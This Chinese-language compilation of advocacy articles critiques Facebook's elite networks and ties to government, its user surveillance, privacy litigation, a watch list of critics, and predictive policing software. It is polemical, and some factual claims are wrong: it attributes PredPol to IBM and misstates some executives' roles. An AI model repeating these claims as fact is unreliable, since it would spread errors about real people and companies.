中国读者也许一提到 **Facebook** 只是想到扎克伯格一个人，不，扎克伯格可不是一般的“创业者”或者什么“青年才俊”，**Facebook** 与政权之间有着深层且紧密的结构。本文尝试通过开源数据来挖掘这些政治旋转门。再次提醒，谷歌也一样。并且，这些巨头之间很可能并非竞争关系

本文将尝试绘制 Facebook 内部的社会结构和公司的权力关系。您将能看到，为什么 Facebook 是无法被扳倒的、为什么出现如此严重的隐私出卖之后国会的问询依旧隔靴搔痒，为什么除非打破数字极权整体架构否则无法实现变革，以及，请重读我们早前的建议《如何才能挑战 Facebook 并取得胜利？—— Distributed Social Network》。

本文是对当代政治机构与全球商业之间密切关系的揭露和批评，即对政治旋转门问题提出的警告。简而言之，我们希望能探讨如何处理监视资本主义这个利维坦。

为了掌握 Facebook 的就业结构，我们使用了 1000 人的公开 LinkedIn 个人资料，表明 Facebook 是他们的雇主，以及整个 Facebook 管理层的传记。通过将他们的社会背景、教育、地位、和现在的职位，映射到公司的层次结构中，我们深入了解了“**Facebook** 政府”整体的各种社会关系。这些见解可用于解释公司和网络相关参与者的一些行为以及商业模式的演变，并有助于尝试预测未来的发展。

Facebook 被理解为“超级集体”，涉及一系列复杂的不透明决策。这种分析应该有助于我们认识到为什么它是像 Facebook 这样的公司可以存在的唯一方式。

本调查采用植根于网络理论的方法、和新闻学研究中的网络分析，重点关注不同社会行为者的关系。此外，在 Mark Lombardi 的概念艺术绘画中发现了数据可视化的灵感，在 Josh On 和 Littlesis 等媒体艺术作品中发现了他们的规则 ……所有提到的作品都为我们提供了一种方法，将话语与设施/设备分析和艺术活动的工具结合起来，用于（重新）概念化和可视化这些结果。

「图」

「图」

——知识劳工贵族——

本文想要更多地了解 Facebook 公司封闭社会内外的特点，他们的阶层嵌入性以及他们的人际关系网络; 我们想了解这些阶层的具体结构，更多地了解这些阶层所包含的人，他们是如何在世界各地游走或迁移的。

我们也有兴趣了解马克·扎克伯格（Mark Zuckerberg）统治的该公司的所有人的角色，构建 **Facebook** 金字塔。我们考虑到了阶级决定论的概念，以及这些阶级自我复制并创造其成员以令其构成最佳运作环境的想法。Bourdieu 关于社会空间、习惯、文化、教育/信息和社会资本的观念（Bourdieu 1982，1997年）在本研究之前和期间的反思中都存在。

「图」

「图」

凡尔赛宫的晚宴—Eugene Louis Lami Source : Wikigallery.org

我们几乎可以将任何一类 Facebook 员工视为高薪知识劳工贵族的完美典范。这种模式与 IT 行业背后隐藏的其他形式的劳动力完全相反，“如采矿的奴隶型劳动力、军事控制和高度开发的硬件装配工人、不稳定的数字服务工作者、受到帝国剥削的知识工作者、从事电子废物工业回收和管理的工人、或其他劳动力“（Fuchs 2016：61）。

在 Facebook 这个知识劳工金字塔的顶端，我们看到了一个“硅苏丹”的小圈子，它控制并影响该领域最大公司的个人网络，这些人坐在董事会席位上拥有他们的部分股份。

「图」

「图」

强盗贵族们。视频：https://www.youtube.com/watch?v=aAbI6hNo1Iw

美国的最初积累显示出与硅谷寡头集团有一些有趣的相似之处。

19 世纪下半叶的特点是为美国单一市场创建了基础设施（铁路），并通过向工业社会的过渡，将创新产品带到了家门口。19 世纪的美国“强盗贵族们”通过挤压竞争来积累巨额财富，就像今天的“硅苏丹”一样。

一个说明性的比较将告诉我们：“洛克菲勒曾控制过世界 80% 的石油供应; 今天谷歌拥有欧洲 90% 的搜索市场和 67% 的美国搜索市场，而 Facebook 拥有 42% 的社交媒体市场份额“（Economist 2014）。这两组基础设施先驱之间的相似性导致了一个警告性结论：在全球范围内带头将工业时代转变为信息社会的人物“被指为贪婪的商界人士，他们眷顾政治家、雇用血汗工厂的劳动、挤压其他股东，尤其是垄断市场”（Economist 2014）。曾经被视为“创造性破坏者”的硅谷企业现在不顾一切地“解决人类问题”，从衰老到太空旅行，将他们的权利置于整个世界变得愈加依赖的数据行业的顶端。

——金字塔顶端：董事会和管理层——

为了可视化 Facebook（FB）管理层，即 其董事会和顾问以及两个执行层之间的关系，我们使用了官方董事会和 Crunchbase 网站提供的公开信息。（这还是没有考虑“第三国”Facebook 相关公司中的无形劳动力的情况下。因为那将花费太多时间，并且将超出该主题的边界）

下面整个关系图应该有助于我们加深对董事会内部联系的理解，以及 Facebook 与行业之间的关系，Facebook 与政府的关系，以及 Facebook 与民间组织（如智库）的关系。（在这里"点开大图"）

「图」

「图」

Facebook 管理结构图

图中心是 Mark Zuckerberg，由董事会成员包围。如左上角所示，矩形标志着董事会成员，黑色矩形标志着第一级高管，白色矩形标志着第二级高管。

围绕这些紧密连接的行为者获得学位的教育机构、他们在 Facebook 中的位置、和/或与相应组织中的先前职位的联系。

组织可以是如上所述的不同类型：公司；投资基金或风险投资；大学和/或研究所；基金会和非营利组织；政府机构；和智囊团等非政府机构。

每个行为者都以不同的方式与几个组织联系在一起。

以下是您可以阅读此地图的几个示例：

Marc Andreessen：权力的纽带—— 在右下角，你能找到 Marc Andreessen，他是扎克伯格在 Facebook 最亲密的董事会成员之一。正如我们所看到的，他曾经在伊利诺伊大学接受教育，这是他的传记的一部分，并没有将他与他的任何其他 FB 同事联系起来。然而，他也是硅谷“Andreessen Horowitz”最具影响力的风险投资公司之一的合伙人。（参考：1、http://a16z.com/ ；2、https://en.wikipedia.org/wiki/Andreessen_Horowitz ）

通过这家公司，**Andreessen** 与一些非常重要的公司有联系，如 **Foursquare**，**Groupon**，**Skype**，**Twitter**，**eBay**，**AOL** 和 **GitHub!**。他是一个非常强大的权力者案例，他在市场上具有相当综合的功能，因为他的业务关系连接了该领域的主要参与者。（拥有股票的百分比并不意味着一个人掌握技术。然而，Andreessen 通常是投资者或上述公司的董事会成员，这当然使他有可能通过技术和内幕知识从内部获得任何类型的信息）

如上图所示，我们可以看到 Andreessen 对通信和金融服务感兴趣：通过他的风险投资公司，他曾经是 **Skype** 的投资者，而且他仍然是 **eBay** 的董事会成员，两家公司的前任副总裁是 **Dan Neary**，他目前是 **Facebook** 的二级管理人员，曾在 **Sheryl Sandberg** 的亚太市场工作。

Peter Thiel：代理和分析—— Peter Thiel 在左下角，此人是硅谷最有影响力的人物之一，也是 FB 管理层成员，还是 LinkedIn 的早期投资者。他更是世界知名品牌 PayPal，Clarium Capital（全球宏观对冲基金），Founders Fund（风险投资公司），Valar Ventures，Mithril

Capital 的联合创始人，并曾担任 Y Combinator 的合伙人。无疑是风险资本领域最有影响力的人物，将他的影响力扩大到数百家甚至数千家创业公司。

Thiel 成立的公司之一正在引起特别的关注：Palantir Technologies，这是一家分析软件公司。泄露给 TechCrunch 的文件显示，截至 **2013** 年，**Palantir** 的客户包括至少 **12** 个美国政府机构，包括中央情报局，国土安全部，国家安全局，联邦调查局，疾控中心，海军陆战队，空军，特种作战司令部，西点军校等**!**

该公司最初由中央情报局的非营利性风险投资部门 **In-Q-Tel** 资助，并被不同的政府机构使用。

尽管此人在硅谷的一些亲密同事并不热衷于此，但他自己还是美国总统唐纳德特朗普的顾问，也是特朗普与科技界的桥梁。除了 Erskine Bowles（将在下面进一步提及）之外，这是**Facebook** 管理委员会与政治和政党的第二个重要联系。

Sheryl Sandberg：政府、金融部门和公司—— Sheryl Sandberg 在 Facebook 的职位是首席运营官和董事。她控制与小企业、广告和全球运营、全球营销、游戏销售等相关的业务。

在“Facebook之前的生活”这本书中，她写道在哈佛商学院的学习使她成为教授的助手，随后成为"美国财政部参谋长"。除了参加从企业和政府中收集有影响力的女性的一系列基金会和非营利组织之外，她还是全球发展中心或布鲁金斯学院等智囊团的董事会成员（其中包括其他任务）处理美国的防务政策，但一个有趣的事实是，她还是星巴克咖啡的董事会成员。

这显示了一种相当有趣的方式，所有提到的参与者绝不是将他们的商业利益限制在数字或在线领域，相反，他们也对其他收入来源感兴趣。**Sheryl Sandberg** 的例子清楚地表明了国家机构和私人资本之间在个人层面上的紧密联系。她代表的是一位在商界非常有影响力的公务员。

与政治和政党的关系密切

董事会成员 Erskine Bowles（在左上角看到）来自马克扎克伯格最亲密的内圈，他也是白宫的参谋长，并且是国家财政责任与改革委员会的"联合主席"。他本人在 2010 年帮助建立的机构。

他通过在摩根士丹利的工作经验、和通用汽车的技术行业与金融业的联系，展示了 Facebook 可以通过其董事会成员所依赖的那种系统性支持。

Erskine Bowles 代表金融、技术和 **IT** 产业与政治和民主党的联系。这些联系确实表明了政治行政部门的行为者与私营企业的共同利益。

从欧洲公共和政治传统的角度来看，在所提及的有利可图的业务背景下的这种政治参与是有问题的。从民权和隐私政策的角度来看，政府机构、秘密情报部门和社交网络（即通信基础设施）之间强有力的制度联系只能是批判性的。

这些例子表明精英是如何与政治机构合并以集中力量的。但是，我们提醒读者，这种现象通常不会被视为错误，尤其是在美国，因为所有这些人公开谈论这些“成就”是非常积极的—— 是的，中国也一样，这些“精英”以攀权附势为荣而不是为耻。与此同时，在其他工业部门和其他国家机构之间也可以找到类似的联系。如果没有这些攀权附势的能力，像 **Facebook** 这样的公司实现如今的全球霸权是不可能的。

谷歌对 Facebook 的亲吻

正如将在本文中进一步看到的那样，在为 **Facebook** 工作的转职专业人员中，谷歌的前雇员人数最多。

关于 Facebook 的管理阶层，我们可以看到图上的谷歌节点显示为很重要（位于中心位置、扎克伯格上方），因为它连接了几个重要的角色。

来自阿联酋的 Shant Oknayan 负责电子商务、零售、在线服务和媒体，在中东和北非（MENA）地区。然而，他也来自谷歌的类似职位；搜索引擎部门主管 Tom Stocky 曾担任 **Google** 产品管理总监；David Fischer 和之前提到的 Sheryl Sandberg 曾经是谷歌全球在线销售和运营的副总裁。

当微软或苹果在这张地图上露脸时，会出现类似的情况。根据图表，如果管理层地位较高，他们中的大多数都已经拥有为该领域的一些顶级公司工作的经验。这一事实支持了这样一种观点，即 新知识劳工贵族的更高阶层已经被界定，并且下等阶层是爬不到这个位置的。

管理层纽带和教育经历

中国人大多能有这样的经验，即 同一所名校和相关教育经历的人成为领导人后将意味着能从这些历史关系中推测政策模式和仕途前景。事实上美国也一样。

下图基于同一组数据，但以冲积图的形式显示。它可以帮助我们更好地了解 Facebook 高层管理人员和董事会成员之间基于教育背景的深层联系。（在这里"点开大图"）

「图」

「图」

Facebook 高管的深层纽带

值得注意的是，Facebook 的高管不仅来自常春藤盟校。他们的确主要来自排名最高的美国或排名最高的世界大学—— 他们大多数都在斯坦福大学、哈佛大学或哥伦比亚大学学习，但是，这并不是他们中任何一个人现在所处位置的原因。

到目前为止，有可能谈论社会流动性，因为公司的崛起与教育背景之间缺乏联系。其中一个典型例子是 Jan Koum，他可以被视为一名来自圣何塞州立大学的局外人，但纽带图表明，他在雅虎和 Ernest&Young 的经历符合 Facebook 平均董事会成员的形象—— 并且在他自己的项目 WhatsApp 中曾经表现为仁慈的（显然，像 Koum 这样的人因为教育背景而不在董事会，但是由于他们带给 Facebook 的东西—— 在这种情况下，是 **WhatsApp** 技术及其所有用户数据。但同样清楚的是，他和他们拥有的技能与社区的其他人相似）

在金字塔内：较低知识阶层跻入贵族阶层的冒险之旅

如上所述，为了更多地了解 Facebook 员工，我们使用了来自 LinkedIn 网络的可公开访问数据。使用了 Littlefork 的改版，刮取了 1000 个人的简介，这些简介说明了他们在 Facebook 或他们为 Facebook 工作的专业活动。我们认为这些数据仅在一定程度上有用，因为无法检查其完整的准确性。根据 10-K，2015 年 Facebook 员工总数为 12,691。

我们认为，出于道德原因和社会责任，Facebook 应该在其员工和管理层结构中代表其全球市场的性别、文化和种族，而不仅仅是美国市场。但是，我们的研究结果表明，Facebook 仅仅代表了美国政治、美国社会、和美国经济精英的重要组成部分。（"在这里看到下图的

PDF版"）

「图」

「图」

上图显示了 Facebook 员工的专业和教育背景（不包括经理和高管）。它应该从上到下阅读，这样：顶部显示的是受雇人员所在的国家，而以下类别显示了他们在 LinkedIn 传记中所述的大学经历。再下面，可以看到他们在加入 Facebook 之前的工作岗位。这些员工中大部分人来自美国。换句话说，只有极少数的 FB 员工在毕业后立即开始为 Facebook 工作，这些极少部分人是来自美国以外的教育机构。

加入 Facebook 后，一些员工被重新安置。他们中的大多数人留在美国或移居美国。然而，在美国工作或搬到那里的人数远远超过在世界其他任何地方的 Facebook 员工人数。

拥有大数量 Facebook 员工的第二名国家是英国，其次是印度和爱尔兰。印度、爱尔兰和新加坡的员工人数大致相同。

名单上的再下一批国家是日本、罗马尼亚、巴西和阿联酋，但这些国家的员工人数过少，与前面提到的几个国家无法相提并论。

当我们谈论城市中心时，为 Facebook 工作的人数最多的是在旧金山地区。然而，对 Facebook 而言，第二大城市并非在美国，而是在英国—伦敦。我们看到了诸如生活地点等细节个人信息的数据不一致和存在巨大差异的原因。确认数据集问题的一个事实是，在城市关键字上我们也发现了新加坡或爱尔兰等国家的城市，出于同样的原因—人员太少，我们认为美国其他一些城市因此没有必要列入此列表。

对于专业活动领域，绝大多数人在他们的帐户中阐述了他们是软件工程师。以下的其他领域分别为互联网、信息技术和服务、人员配置和招聘、市场营销和广告。这些都是值得注意的，并且可以重新组合以构建更大的字段，因为它们中至少有一些相同的活动。

在此图的底部，我们可以看到 LinkedIn 个人资料中列出的职位列表。最大的一组预期是软件工程师。最后，陈述了一些较小的专业（例如工程经理、研究科学家、产品经理等），这些专业也可以在更大的领域被重新组合，或者在某种程度上被添加到最大的组中。

我们不怀疑数据对最大群体的有效性，并认为招聘对公司来说占有如

此重要的地位是合理的。不过请注意，我们可以从这些比例中得出结论，选择过程是公司工作中最重要的活动之一（促进内部价值），工程领域是对公司最有价值的（促进产品）。在阅读以下章节时，应牢记这些关系。

在 Facebook 的职位：教育档案和分配

以下的关系图和表格数据基于相同的数据库（1000 Linkedin 帐户），但结合了有关董事会成员和高层管理人员的数据。它们展示了具体职位和管理层成员的体制和教育背景。（"在这里看到 PDF 版"）

「图」

「图」

节点的种类定义（见左上角）：白色圆圈标记公司地位，黄色圆圈标记董事会成员和一级执行官，大学用矩形标记。

在图表的中间，我们看到围绕软件工程师职位的人和机构高度凝聚，很多参与者都与此有关。但是，在左上角我们可以看到，工程经理通常来自七所大学。Facebook 的领先工程经理 Colin Stretch 就在其中一所大学学习：达特茅斯学院。另一方面，哈佛大学吸引最多的高管也不足为奇：在图表的右侧，我们可以看到很多高管都是如此：Elliot Schrage，Diego Dzodan，Lori Goler，Sheryl Sandberg，Carolyn Everson，以及 Dan Rose。特别有趣的是，这里连接的关键职业是企业营销编辑。

著名的哈佛大学辍学者马克·扎克伯格自己与这所学校没有直接联系，但还在学习。在右上角，来自不同领域的几位执行官之间出现了一个有趣的联系，例如产品工程和数字营销中的高管招聘。

有趣的是，生产工程师总是以某种方式与麻省理工学院（**MIT**）建立联系，无论他们来自哪所大学。参加社区活动的人也是如此。麻省理工学院出身的执行官包括 Rebecca van Dyck，Shant Oknayan 和 Tom Stocky。最多的董事会成员集中在这张图的中下部分。他们都与斯坦福大学有联系，大多数人都在那里学习。看下面的图：（大图在这里）

「图」

「图」

大学背景和公司内位置

以上两个图能更准确地展示哪些职称和职业与哪所大学联系在一起。在左侧的表格中，您可以看到根据 Facebook 员工数量排名的大学列表。

领导层和周边

关于任人唯亲。

下图显示了董事会成员以及从特定公司到 Facebook 的大量员工之前的关系。如果我们能够确认董事会成员将他们的同事带到新工作的趋势，或者至少支持他们自己与之相关的公司之间的这种迁移趋势，就能得出更有意思的观察。

「图」

「图」

以前的关系

正如你已经想到的那样，最多的专业人士来自 **Google**，微软，亚马逊，雅虎，**eBay** 和 **Apple** 等公司。但是，谷歌和 **Facebook** 之间的关系相比其他公司存在显著的差异。它明显更紧密。

该图已经明确显示了这种竞争中的合作。根据这些公司之间流动的人数百分比以及相同员工的职位和专业背景，该图表足够揭示这些实体之间知识和技术交换的程度。

这种系统性关系也可以被视为垄断的构建，通过垄断手段摧毁“工业生态系统”。如果竞争公司分享知识库、专家和董事会，那么就很难相信这其中存在什么真正的竞争。当然，我们使用的公共数据只能表明问题的可能性，此处依旧需要更多内部举报人。

劳动力的迁移：汇聚和贫瘠

以上已经描述了全球 Facebook 员工之间的一些调遣过程。在人员迁移图表中，可以看到基于 LinkedIn 的1000个评估概况所能显示的当前国家（水平，上方）和求学的国家（垂直，左侧）之间的关系。

「图」

「图」

劳动力迁移

通过比较这两个轴，我们可以看到一个人正在求学的国家以及他或她在学习之后的去向。大多数员工都附属于美国，在灰色泡泡标记的中央交叉点可见。此外，在学习之后，绝大多数人去了美国，在同一个点上可以看到。大多数在学业后离开美国的人都去了英国、印度或新加坡的 Facebook 工作。所有这些地方都以 FB 办公室而闻名。

该图表显示，Facebook 作为雇主主要是从美国大学招募人员。这意味着，尽管在全球范围内霸权，但这家公司并不认为有必要代表其用户结构在世界各地招聘。如前所述，美国教育的主导地位在中央管理层中也非常明显。我们可以推测人力资源和招聘官员是否有一个关注美国教育系统人员的政策（不一定是官方的或书面形式的，就像中国那样，属于潜规则）。

您还可以以地图的形式可视化相同的数据，其中雇员的当前位置和求学国家由深灰色表示。

肌理的意义

⚠ 勾画出像 **Facebook** 这样的大公司的社会结构，是一项重要的任务，不仅为了理解全球互联网现象对社会、地方和全球经济以及公民自由的影响，还能更好地了解高端技术和通信基础设施的发展如何与资本和政治权力的积累交织在一起。

即使世界正处于全球后发展的阶段，公司在经济、政治方面的深刻内涵和社会精英/建立一个社会/国家是使公司足够强大以实现全球化的原因—— 而不是像通常认为的那样，通过世界各地精英的合作。

用金字塔或利维坦来形容就很方便了，因为许多社会等级和面孔构成了一个中心人物，权力的中心。同时，正如本调查所显示的那样，网络的真正结构还包括公司更高层次中特定人员的个人社交网络。如果除去利润不做考虑的话，这就是将整个结构保持在一起并且不受任何政治制度变化所影响的原因。

「图」

「图」

亚伯拉罕·博斯为托马斯·霍布斯（Thomas Hobbes）撰写的“利维坦”（Leviathan）一书所作的插图（1668）

正如我们所看到的，它实际上是一个由许多结构组成的相对复杂的网络，其动力由特定参与者的利益所驱动。这种规模的公司一直在影响、组织和决定精英的生活、全球经济、“小人物”或“普通用户”的日常生活。

重要的是要精确地描述网络的哪些部分以及哪些部分与哪些参与者相关联。一旦我们理解了大公司与政治的深层交织，就更容易认识和阐明这些力量在政治舞台上的支持。

本文仅仅以 **Facebook** 为例，仅仅基于开源数据，没有任何对内部举报人的依赖、没有任何黑客行为，已经足够揭示一个利维坦的内幕。希望这一开源调查思路演示能帮助中国的积极人士展开对权力关系的深度挖掘（我们对宫廷八卦和小道消息毫无兴趣）任何时候，拿出数据为证，将无人能辩驳。〇

原文

现在必须知道 Facebook 对你做了什么 - iYouPort

关于Facebook-这不只是一家公司

当参议员 Gary Peters 问扎克伯格 Facebook 是否通过人们的手机麦克风窃听用户以收集信息时，扎克伯格回答说："没有。"听起来不错？然而，被遗漏的是，Facebook 确实不会通过手机麦克风窃听用户，因为没必要。Facebook 实际上使用了更加具有侵略性的隐形监视和分析方法，这些方法可以窃取到足够多的关于你的信息。

Facebook 确实要求麦克风权限处理您发布的任何视频，以及在使用"收听"状态功能时识别音乐或电视节目。它确实不会偷偷打开麦克风，但是，Facebook 正在做这些事：

- 无论您是否登录，甚至是否拥有 Facebook 帐户，该公司都可以通过网络跟踪您；
- 维护不使用 Facebook 的人的影子联系信息；
- 记录 Android 用户的电话和短信；
- 通过应用内广告吸收唯一的电话标识符，以便在您使用的不同设备上关联您的身份；
- 跟踪您的位置，并根据您所在的位置、居住地点以及工作地点投放广告；
- 跟踪您的店内购买情况，将您在线查看的广告与您离线购买的广告相关联；
- 观看你开始输入的、并且是最终没有发布的文字，以跟踪你的自我审查；
- 将购买链接到 Messenger 帐户，以允许卖家在没有肯定用户权限的情况下发送确认消息；
- 收购并宣传了一个所谓的 VPN，以跟踪用户在其他应用上做了什么并粉碎竞争；
- 操纵你能看到的新闻源，看那些消息究竟会引发你什么样的情绪；
- 为新兴的跟踪技术申请专利，例如通过手机摄像头上的灰尘跟踪您的位置，以备将来使用。

对老大哥保持偏执的恐惧是完全有必要的，因为他们总是会通过你做梦都想不到的方式实现对你的侵犯。无论 Facebook 如何实现其令人恐惧的跟踪监视，最终结果都是相同的：令人极度不舒服的、侵犯隐私的用户体验。

但扎克伯格本周的证词以及最近的其他陈述都在辩称他没有因侵犯令人不快，他说 Facebook 用户“更喜欢”准确定位的广告体验—即具有高度针对性的体验。你应该赶紧表示自己不喜欢。

但是用户感到困惑，因为 Facebook 到目前为止拒绝澄清公司如何收集和分析人们的信息。

Facebook 的黑箱如何打破似乎不是国会能解决的。

Facebook Doesn’t Need To Listen Through Your Microphone To Serve You Creepy Ads: What he left out, however, is that Facebook doesn’t listen to users through their phone microphones because it doesn’t have to. Facebook actually uses even more invasive, invisible surveillance and analysis methods, which give it enough information about you to produce uncanny advertisements all the same.

原文

秘密诉讼之恶：隐私保护如何输在了起跑线上？ - iYouPort

互联网自由-Resist关于Facebook-这不只是一家公司

民主制度的核心原则是人民必须在约束他们的法律中有发言权。这就是秘密司法程序和意见特别令人不安的原因。然而，今年夏天，一场可能影响数百万公民私人通讯的重大法律纠纷完全是秘密诉讼 #privacy#democratic 根据路透社和“华盛顿邮报”的报道，司法部要求联邦法院下令强迫 Facebook 在 Facebook Messenger 上窃听加密的语音通话。

报道称 Facebook 拒绝了，称如果要遵守就需要重写 Messenger 应用程序的代码并破坏其所有用户的安全基础设施。据报道，司法部试图用藐视法庭为由压制 Facebook—并且失败了。但所有这些过程仍然是密封的。公众完全不知情。

上周，ACLU 已经在加利福尼亚联邦法院提起议案，以启动与政府未能使 Facebook 解密 Messenger 通话相关的任何秘密司法裁决。

全球约有13亿人使用 Facebook Messenger，但更多人使用其他通信服务 如 WhatsApp、Skype 和 Microsoft Outlook。 Facebook 可能已经赢了这次，但如果政府试图强迫另一项服务破坏其安全功能并且该服务想要反击，只要意见仍在保密状态下，就无法依赖法院的论证。

端到端加密与其他类型的加密的不同之处在于，通信服务提供商无法访问解密会话所需的密钥，从而无法在不拆除加密系统本身的情况下访问会话内容。据报道，司法部要求 Facebook 这样做：拆除保护 Messenger 上用户通信的隐私措施。

原文

究竟能不能状告 Facebook？ - iYouPort

关于Facebook-这不只是一家公司

消费者最近在伊利诺伊州提起诉讼，称 Facebook 在未经他们同意的情况下在其上传的照片上使用了面部识别技术，违反了州隐私法。Facebook 正在通过试图让法院接受令人不安的争论来解决诉讼问题，这些争论将使消费者更难以起诉违法的公司。

Facebook 认为，有争议的法律不会让消费者有权起诉公司，也就是所谓的“私人诉讼权”，完全基于公司违法的事实。相反，根据 Facebook 的说法，消费者应该证明违法行为造成了额外的伤害，而不仅仅是违法行为本身。

如果您将 Facebook 在这种情况下对法律的曲解应用于其他情境，未经您的许可分享您的私密消息、或未经您的同意将您的详细资料交给了政府人员—— 即使直接违反了法律 -—— 也一样，该公司不想在法庭上花一分钱。Facebook 自相矛盾地认为隐私本身没有价格，该公司正是因为严重缺乏隐私才获得决利润的。

这不是我们第一次看到这个论点，其他公司也在隐私诉讼中提出了类似的论点。此外，包括美国商会在内的主要行业参与者也提出过类似的看法。他们正在制定立法，允许消费者起诉违反隐私的公司，但与此同时，他们正在游说联邦隐私立法，其中执法只能与“具体”伤害有关，而不一定是违法行为本身。

很容易理解为什么。

巨大的隐私侵权已经司空见惯。如果没有私人诉讼权，消费者几乎没有实际能力在数据处理不当或被滥用的情况下寻求救济。私人诉讼权很重要，因为政府机构通常没有资源在消费者隐私受到侵犯的每一种情况下进行调查和采取行动。因此，私人诉讼权利可能是让公司承担责任的唯一途径。

只在极少数情况下，隐私侵权的危害可能很明显，例如失去工作、金钱或安全感。但在大多数情况下，伤害虽然令人咋舌，却几乎无法衡量。

例如，您如何证明让公司根据敏感的健康数据对您进行整体分析所产生的影响，从而影响您能看到的内容和您被投放的广告等内容？您如何衡量让人们成为分裂和剥削的广告目标的国家安全和社会稳定影响？您如何确定消费者被剥夺对其所拥有信息的控制权的整体影响，以及与无数实体共享的关系状态和政治观点等私密细节的影响？

行业参与者经常寻求利用大多数人面临的极端困难来展示他们如何被隐私侵犯所伤害。对于那些试图控制滥用数据行为的消费者或监管机构来说，这个标准几乎是不可能的。在消费者必须表现出“具体”伤害的观点下，仅仅通过未经许可共享信息来证明公司违法是不够的。

并不足以表明数百万消费者受到影响或数十亿条信息被不正当地分享。对于罚款或损害赔偿，消费者将难以证明非法收集他们自己的数据会以有形和可衡量的方式损害他们，例如造成身体，情感或经济损害。

这种对消费者诉讼的限制可能对监视资本主义行业非常有利，因为它可能使公司免于因其不负责任的数据行为而产生合法的诉讼，并帮助他们在影响数百万人的大规模隐私侵权行为后几乎毫发无损。但对其他人来说这是一个糟糕的交易。

在无数的数据丑闻之后，越来越清楚谁在为此付出代价：只有消费者。与此同时，许多主要的行业参与者继续创造创纪录的利润。现在是时候纠正这种不平衡了。

在国会考虑联邦隐私立法时，应该明确：隐私侵犯本身就是一种伤害，消费者有权将那些制造此类危害的公司告上法庭。

AsCongress considers federal privacy legislation, it should make clear that a privacy violation itself is a harm and that consumers have a right to take companies that propagate such harms to court.

原文

高科技极权主义 - iYouPort

关于Facebook-这不只是一家公司

谁会最担心批评者？- 专制政权；谁最擅长迫害批评者？- 专制政权；谁是这两个领域的佼佼者？-Facebook。该公司做了什么？

Facebook 是一个难以想象的庞大数据库，到目前为止，所有人都知道该公司可以通过使用其阴暗的专利算法来跟踪我们每一个人。现在 CNBC 进一步揭露，只要有人批评该公司和其员工，**Facebook** 就会重点跟踪此人在网络上的活动和在现实中的足迹。

在接受 CNBC 采访时，十几位前 Facebook 员工证实，该公司在其平台上详细记录了所谓的负面评论，并跟踪所有被认为对其员工和公司本身“构成威胁”的个人评论者。

Facebook 发言人对此表示，“我们的物理安全团队的存在是为了让 Facebook 员工保持安全”；“我们使用行业标准措施来评估和解决针对我们员工和公司的可信的威胁，并在必要时将这些威胁提交给执法部门。”

Facebook 保持着对一个列表 “保持警惕”或“BOLO”的更新，自公司自2008年启动以来每周更新一次。每次将新的目标人添加到列表中时，**Facebook** 都会加入详细信息，包括用户姓名、照片、他们的一般位置、以及关于目标人的简短说明。

你想进入这个重点监视目标人列表吗？非常简单。你只需要发布一个评论，比如“F ** k you，Mark”，“F ** k Facebook”或者类似的任何东西。

总之，如果您批评了 Facebook 或对 Mark Zuckerberg 发表了评论，您可能已经在该公司的“BOLO”重点监视列表中了，尤其是您的位置正在受到监控。

不只有用户会发现自己在 Facebook 的BOLO列表中；许多前

Facebook 员工和承包商也都在上面，他们是该公司的知情人，扎克伯格是不是担心被报复呢？

将前雇员加入BOLO名单的做法偶尔会给公司的招聘人员带来尴尬的局面，因为他们经常要与前雇员联系以填补空缺。去年离开公司的一名前安全员工表示，前雇员只是出现在求职面试中才发现他们无法进入公司，因为他们在BOLO名单上。

Facebook Tracks Your Location If You Comment Against Mark Zuckerberg. Facebook also keeps track of the location of all those users who threaten its employees and the company.

原文

"未来是一项方程式" - 少数派报告的威胁不是这两年才有的新事物 - iYouPort

你我的灾难现实

这可能是一个关于 “我们还是人吗” 的问题

「图」

「图」

画外音里，一个警察高兴地说：“从前，我们追捕犯了罪的罪犯，而现在，我们可以在他们犯罪之前阻止他们”。这个声音来自近10年前的孟菲斯。

这里是美国犯罪率最高的城市之一。电视上，IBM公司正在为它们的一款名为 Blue Crush 的犯罪分析软件做广告，夸耀其效果。在2010年，市政府决定裁员25%的警察，为了不降低工作效能，孟菲斯市政府向 IBM 求助。

从此，警察在执勤之前都会从手机上或是汽车配备的电脑上收到标明热点的地图，在这些“热点”区域，未来24小时被认为“有可能发生犯罪活动”。根据命令，警察部队会向闪着红光的热点地区集中。

Blue Crush 软件由大数据公司的数学家、信息专家和人类学家共同研发。首先，它录入了警察局所有电子档案：出警报告、笔录、报警电话记录等等，然后通过算法，根据时间、地点、类型的不同，将犯罪进行归类。

Blue Crush 软件每天24小时不间断与警察局电脑网络连接，可以随着警察录入的新情况、以及装在巡逻警车上和分布于城市各处的其他500个摄像头传回的画面，永远及时更新数据库。

Blue Crush 据称可以根据定位软件计算出发生犯罪活动的概率。之后 IBM 又研发出更高一层的版本 PredPol，这个版本已经在洛杉矶、亚特兰大和纽约的警察局使用。从此，算法牢牢地掌握着通过统计对比

归类的潜在所谓犯罪人群的肖像。司法部科技部门前负责人曾经对算法的偏见问题发出过堵死异议的高调宣称：“显然大数据中含有偏见成分，但今后，偏见也可以通过数学的方式检测出来”。

可以处理以前的犯罪信息、更可以预测下一次“犯罪”将在何时何地发生的少数派报告监视系统，很快在欧洲市场上极具竞争力。在英格兰肯特郡的警察局购买了 PredPol 后，德国模型预测科技学院的科学家们也研发出了自己的预测软件 Precobs，从2015年开始就在慕尼黑、纽伦堡、科隆、以及瑞士的苏黎世和巴塞尔进行了测试。而在法国，国家犯罪观测所在2016年也进行了同样的预测犯罪系统测试。

少数派报告描述的是2054年发生的同样的事，但显然，Philip Kindred Dick 的噩梦提前几十年就被实现了。少数派报告是大数据最纯粹的噩梦。

在大数据科研实验室里，科学家们对 PredPol 及其他预测软件进行着进一步的完善，目的就是使这些软件在未来不仅能够预测犯罪何时何处发生，还能判断出谁是始作俑者。

Nate Silver 曾经兴奋地表示：“未来是一项方程式”。这位被称为美国预测技术神算子的人在奥巴马入驻白宫的竞争中就负责主持预测分析工作。

对于高科技企业来说，人类的绝大多数行为都是可以预测到的。今天，大数据时代的预言家不需要使用咖啡渣来占卜了，他们有更可靠的软件可以处理海量数据，答案就在其中。

2007年，美国国土安全部发布了一项研究计划，旨在确立“潜在的恐怖分子”，也就是说，这些人今天是完全无罪的，但是算法认为他们在未来的某一天有可能成为“恐怖分子”。这项名为"“未来属性筛选”技术（FAST）"的计划，通过对所有相关元素进行筛查，包括个人行为、肢体语言、生理外貌等特点。一旦筛出“可疑的人”，就会借助面部识别系统对其进行密切跟踪—— 请注意，这可不是最近两年的事，FAST 始于2008年。

